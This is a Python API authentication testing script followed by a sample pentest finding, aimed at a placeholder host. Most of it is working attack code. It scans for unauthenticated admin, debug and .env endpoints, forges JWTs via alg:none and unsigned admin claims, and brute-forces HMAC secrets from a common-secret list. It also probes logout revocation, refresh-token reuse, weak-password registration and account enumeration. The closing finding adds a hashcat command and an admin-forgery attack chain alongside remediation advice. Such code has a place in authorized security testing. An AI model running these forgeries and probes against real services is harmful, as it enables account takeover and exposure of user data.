import requests
import json
 
BASE_URL = "https://target-api.example.com/api/v1"
 
# Probe the API to identify authentication mechanisms
auth_indicators = {
    "jwt_bearer": False,
    "api_key_header": False,
    "api_key_query": False,
    "basic_auth": False,
    "oauth2": False,
    "session_cookie": False,
    "custom_token": False,
}
 
# Test 1: Check unauthenticated access
resp = requests.get(f"{BASE_URL}/users/me")
print(f"Unauthenticated: {resp.status_code}")
if resp.status_code == 200:
    print("[CRITICAL] Endpoint accessible without authentication")
 
# Test 2: Check WWW-Authenticate header
if "WWW-Authenticate" in resp.headers:
    scheme = resp.headers["WWW-Authenticate"]
    print(f"Auth scheme advertised: {scheme}")
    if "Bearer" in scheme:
        auth_indicators["jwt_bearer"] = True
    elif "Basic" in scheme:
        auth_indicators["basic_auth"] = True
 
# Test 3: Login and examine tokens
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"username": "testuser@example.com", "password": "TestPass123!"})
 
if login_resp.status_code == 200:
    login_data = login_resp.json()
    # Check for JWT tokens
    for key in ["token", "access_token", "jwt", "id_token"]:
        if key in login_data:
            token = login_data[key]
            if token.count('.') == 2:
                auth_indicators["jwt_bearer"] = True
                print(f"JWT found in response field: {key}")
    # Check for refresh tokens
    for key in ["refresh_token", "refresh"]:
        if key in login_data:
            print(f"Refresh token found in field: {key}")
    # Check for session cookies
    for cookie in login_resp.cookies:
        print(f"Cookie set: {cookie.name} = {cookie.value[:20]}...")
        if "session" in cookie.name.lower():
            auth_indicators["session_cookie"] = True
 
print(f"\nAuthentication mechanisms detected: {[k for k,v in auth_indicators.items() if v]}")

# Test all endpoints without authentication
endpoints = [
    ("GET", "/users"),
    ("GET", "/users/me"),
    ("GET", "/users/1"),
    ("GET", "/admin/users"),
    ("GET", "/admin/settings"),
    ("GET", "/health"),
    ("GET", "/metrics"),
    ("GET", "/debug"),
    ("GET", "/actuator"),
    ("GET", "/actuator/env"),
    ("GET", "/swagger.json"),
    ("GET", "/api-docs"),
    ("GET", "/graphql"),
    ("POST", "/graphql"),
    ("GET", "/config"),
    ("GET", "/internal/status"),
    ("GET", "/.env"),
    ("GET", "/status"),
    ("GET", "/info"),
    ("GET", "/version"),
]
 
print("Unauthenticated Endpoint Scan:")
for method, path in endpoints:
    try:
        resp = requests.request(method, f"{BASE_URL}{path}", timeout=5)
        if resp.status_code not in (401, 403):
            content_preview = resp.text[:100] if resp.text else "empty"
            print(f"  [OPEN] {method} {path} -> {resp.status_code}: {content_preview}")
    except requests.exceptions.RequestException:
        pass

import base64
import json
import hmac
import hashlib
 
def decode_jwt_parts(token):
    """Decode JWT header and payload without verification."""
    parts = token.split('.')
    if len(parts) != 3:
        return None, None
 
    def pad_base64(s):
        return s + '=' * (4 - len(s) % 4)
 
    header = json.loads(base64.urlsafe_b64decode(pad_base64(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad_base64(parts[1])))
    return header, payload
 
# Analyze the JWT token
token = login_data.get("access_token", "")
header, payload = decode_jwt_parts(token)
 
print(f"JWT Header: {json.dumps(header, indent=2)}")
print(f"JWT Payload: {json.dumps(payload, indent=2)}")
 
# Security checks
issues = []
 
# Check 1: Algorithm
if header.get("alg") == "none":
    issues.append("CRITICAL: Algorithm set to 'none' - token signature not verified")
if header.get("alg") in ("HS256", "HS384", "HS512"):
    issues.append("INFO: Symmetric algorithm used - check for weak/default secrets")
 
# Check 2: Expiration
if "exp" not in payload:
    issues.append("HIGH: No expiration claim (exp) - token never expires")
else:
    import time
    exp_time = payload["exp"]
    ttl = exp_time - time.time()
    if ttl > 86400:
        issues.append(f"MEDIUM: Token TTL is {ttl/3600:.0f} hours - excessively long")
 
# Check 3: Sensitive data in payload
sensitive_fields = ["password", "ssn", "credit_card", "secret", "private_key"]
for field in sensitive_fields:
    if field in payload:
        issues.append(f"HIGH: Sensitive field '{field}' in JWT payload")
 
# Check 4: Missing claims
expected_claims = ["iss", "aud", "exp", "iat", "sub"]
missing = [c for c in expected_claims if c not in payload]
if missing:
    issues.append(f"MEDIUM: Missing standard claims: {missing}")
 
# Check 5: Key ID
if "kid" in header:
    kid = header["kid"]
    # Test for path traversal in kid
    issues.append(f"INFO: Key ID (kid) present: {kid} - test for injection")
 
for issue in issues:
    print(f"  [{issue.split(':')[0]}] {issue}")

# Attack 1: Remove signature (alg: none)
def forge_none_algorithm(token):
    """Create a token with alg:none to bypass signature verification."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    header['alg'] = 'none'
    new_header = base64.urlsafe_b64encode(
        json.dumps(header).encode()).decode().rstrip('=')
    # Variations of the none algorithm
    return [
        f"{new_header}.{parts[1]}.",
        f"{new_header}.{parts[1]}.{parts[2]}",
        f"{new_header}.{parts[1]}.e30",
    ]
 
# Attack 2: Modify claims without re-signing
def forge_payload(token, modifications):
    """Modify payload claims and test if server validates signature."""
    parts = token.split('.')
    payload = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
    payload_data.update(modifications)
    new_payload = base64.urlsafe_b64encode(
        json.dumps(payload_data).encode()).decode().rstrip('=')
    return f"{parts[0]}.{new_payload}.{parts[2]}"
 
# Attack 3: Brute force weak HMAC secrets
COMMON_JWT_SECRETS = [
    "secret", "password", "123456", "jwt_secret", "supersecret",
    "key", "test", "admin", "changeme", "default",
    "your-256-bit-secret", "my-secret-key", "jwt-secret",
    "s3cr3t", "secret123", "mysecretkey", "apisecret",
]
 
def brute_force_jwt_secret(token):
    """Try common secrets against HMAC-signed JWTs."""
    parts = token.split('.')
    header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
    if header.get('alg') not in ('HS256', 'HS384', 'HS512'):
        print("Not an HMAC token, skipping brute force")
        return None
 
    signing_input = f"{parts[0]}.{parts[1]}".encode()
    signature = parts[2]
 
    hash_func = {
        'HS256': hashlib.sha256,
        'HS384': hashlib.sha384,
        'HS512': hashlib.sha512
    }[header['alg']]
 
    for secret in COMMON_JWT_SECRETS:
        expected_sig = base64.urlsafe_b64encode(
            hmac.new(secret.encode(), signing_input, hash_func).digest()
        ).decode().rstrip('=')
        if expected_sig == signature:
            print(f"[CRITICAL] JWT secret found: '{secret}'")
            return secret
 
    print("No common secrets matched - consider using hashcat/john for extended brute force")
    return None
 
# Test all attacks
none_tokens = forge_none_algorithm(token)
for none_token in none_tokens:
    resp = requests.get(f"{BASE_URL}/users/me",
                       headers={"Authorization": f"Bearer {none_token}"})
    if resp.status_code == 200:
        print(f"[CRITICAL] alg:none bypass successful")
 
# Test privilege escalation via claim modification
admin_token = forge_payload(token, {"role": "admin", "is_admin": True})
resp = requests.get(f"{BASE_URL}/admin/users",
                   headers={"Authorization": f"Bearer {admin_token}"})
if resp.status_code == 200:
    print("[CRITICAL] JWT claim modification accepted without signature validation")
 
brute_force_jwt_secret(token)

# Test 1: Token reuse after logout
logout_resp = requests.post(f"{BASE_URL}/auth/logout",
    headers={"Authorization": f"Bearer {token}"})
print(f"Logout: {logout_resp.status_code}")
 
# Try to use the token after logout
post_logout_resp = requests.get(f"{BASE_URL}/users/me",
    headers={"Authorization": f"Bearer {token}"})
if post_logout_resp.status_code == 200:
    print("[HIGH] Token still valid after logout - no server-side revocation")
 
# Test 2: Token reuse after password change
# (requires changing password and then testing old token)
 
# Test 3: Refresh token rotation
refresh_token = login_data.get("refresh_token")
if refresh_token:
    # Use refresh token
    refresh_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    new_tokens = refresh_resp.json()
 
    # Try to reuse the same refresh token (should fail if rotation is implemented)
    reuse_resp = requests.post(f"{BASE_URL}/auth/refresh",
        json={"refresh_token": refresh_token})
    if reuse_resp.status_code == 200:
        print("[HIGH] Refresh token reuse allowed - no rotation implemented")
 
# Test 4: Token in URL (leakage risk)
resp = requests.get(f"{BASE_URL}/users/me?token={token}")
if resp.status_code == 200:
    print("[MEDIUM] Token accepted in query parameter - may leak in logs/referrer")

# Test password policy enforcement on registration/change endpoints
weak_passwords = [
    "a",           # Too short
    "password",    # Common password
    "12345678",    # Numeric only
    "abcdefgh",    # Alpha only, no complexity
    "Password1",   # Meets basic complexity but is common
    "",            # Empty
    " ",           # Whitespace
]
 
for pwd in weak_passwords:
    resp = requests.post(f"{BASE_URL}/auth/register",
        json={"email": f"test_{hash(pwd)%9999}@example.com",
              "password": pwd, "name": "Test User"})
    if resp.status_code in (200, 201):
        print(f"[WEAK POLICY] Password accepted: '{pwd}'")
 
# Test account enumeration via login response differences
valid_email = "testuser@example.com"
invalid_email = "nonexistent_user_xyz@example.com"
 
resp_valid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": valid_email, "password": "wrongpassword"})
resp_invalid = requests.post(f"{BASE_URL}/auth/login",
    json={"username": invalid_email, "password": "wrongpassword"})
 
if resp_valid.text != resp_invalid.text or resp_valid.status_code != resp_invalid.status_code:
    print(f"[MEDIUM] Account enumeration possible:")
    print(f"  Valid user: {resp_valid.status_code} - {resp_valid.text[:100]}")
    print(f"  Invalid user: {resp_invalid.status_code} - {resp_invalid.text[:100]}")

## Finding: JWT HMAC Secret Brute-Forceable and Token Not Revocable
 
**ID**: API-AUTH-001
**Severity**: Critical (CVSS 9.1)
**OWASP API**: API2:2023 - Broken Authentication
**Affected Components**:
  - POST /api/v1/auth/login (token issuance)
  - All authenticated endpoints (token validation)
  - POST /api/v1/auth/logout (ineffective)
 
**Description**:
The API uses HS256-signed JWT tokens with a brute-forceable secret
("company-jwt-secret-2023"). An attacker who discovers this secret can
forge tokens for any user with any role, including admin. Additionally,
tokens are not revocable - logout does not invalidate the token server-side,
and the 7-day expiration means stolen tokens remain valid for extended periods.
 
**Attack Chain**:
1. Capture any valid JWT from authenticated session
2. Brute force the HMAC secret using hashcat: hashcat -a 0 -m 16500 jwt.txt wordlist.txt
3. Secret recovered in 3 minutes: "company-jwt-secret-2023"
4. Forge admin JWT: modify "role" claim to "admin", re-sign with discovered secret
5. Access admin endpoints: GET /api/v1/admin/users returns all 50,000 user accounts
 
**Remediation**:
1. Replace HS256 with RS256 using a 2048-bit RSA key pair
2. Use a cryptographically random secret of at least 256 bits if HMAC must be used
3. Implement token blacklisting using Redis for logout and password change events
4. Reduce token TTL to 15 minutes with refresh token rotation
5. Add `iss` and `aud` claims validation to prevent token misuse across services